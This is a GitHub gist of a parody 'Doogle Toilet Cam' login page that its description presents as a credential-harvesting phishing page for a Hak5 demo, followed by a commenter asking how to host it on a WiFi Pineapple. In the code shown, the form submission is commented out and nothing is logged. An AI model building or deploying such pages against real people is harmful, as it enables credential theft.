Last active
February 17, 2024 04:32
-
-
Save AlexLynd/7fcced41f9a998dea72010ed2f73e679 to your computer and use it in GitHub Desktop.
PHP Phishing Page that logs credentials to a local text file, created for a Hak5 demo.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> | |
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> | |
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | |
</head> | |
<body style="height: 100vh;"> | |
<div class="valign-wrapper container" style="max-width: 500px; height: 100vh; text-align: center;"> | |
<div class="" style="width: 100%;"> | |
<h4>Sign in to Doogle Toilet Cam</h4> | |
<!-- <form action="login.php" method="post"> --> | |
<div class="row"> | |
<div class="input-field col s12"> <input id="username" type="text" name="username" class="validate"> | |
<label for="username">UserName</label> </div> | |
<div class="input-field col s12"> <input id="password" name="password" type="password" | |
class="validate"> <label for="password">Password</label> </div> | |
</div> | |
<div style="margin-top: 30px"> | |
<p>To continue, Doogle will share all your personal info & biometrics with the Doogle net. Your | |
identity will be used to create AI doogle babies.</p> | |
</div><br><button class="btn waves-effect waves-light blue" type="submit" onclick="submitter()" | |
name="action">Sign In <i class="material-icons right">account_box</i> </button> | |
<!-- </form> --> | |
</div> | |
<script> | |
function submitter() { | |
window.open("https://google.com"); | |
} | |
</script> | |
</div> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
So all we have to do is add this to sites-available in our mk7? Because nginx is pre installed in my WiFi pine apple and I don't see a sites-available folder but I can make one.